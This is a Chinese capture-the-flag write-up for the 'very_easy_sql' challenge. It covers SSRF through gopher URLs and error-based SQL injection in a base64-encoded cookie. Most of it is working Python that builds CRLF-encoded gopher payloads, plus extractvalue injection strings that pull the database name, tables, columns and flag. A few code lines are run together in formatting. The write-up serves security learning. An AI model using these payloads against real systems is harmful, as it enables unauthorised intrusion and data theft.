web:very_easy_sql（sql、ssrf、gopher协议sql注入）

题目

页面显示如下

显示不是内部用户，无法识别信息

查看源码，找到一个use.php

访问之后显示如下

随便输入了一个，发现url有参数显示

试一下靶机的网址，返回nonono

联系之前原始页面写的“不是内网用户，无法别识身份”

这里没有rce、越权、文件包含等。那么很有可能有ssrf。

这里要用到gopher协议与ssrf结合使用

内网访问，gopher的请求语句host要改成localhost：80或者127.0.0.1:80

构造poc

import urllib.parse //导入库 urllib.parse，用于url解析与转码host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host,content_length,content)tmp = urllib.parse.quote(test) //以内网地址，post方式访问flag.php网址
new = tmp.replace("%0A","%0D%0A") //crlf注入漏洞
result = urllib.parse.quote(new) //增加gopher://127.0.0.1:80/,编码
print("gopher://"+host+"/_"+result)

用bp抓包修改信息后，显示如下

把这个set-cookie解码出来为

解码结果为admin，cookie为注入点

解法一

测试为字符型还是整数型注入

构造poc为

import urllib.parsehost = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

通过报错信息，可以找到闭合点，有报错信息，直接使用报错注入

构造payload，检查是否可以进行报错注入

admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #

改写成gopher的形式

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

数据库信息被回显出来了，报错信息可以使用，按正常的步骤走

查数据库

admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

数据库名为security

查表

构造payload为

admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

看到有个flag表

查列名

admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查到flag表里只有一个flag列

查内容

admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查到flag，但是显示不全，需要用substr函数进行分割读取：

admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)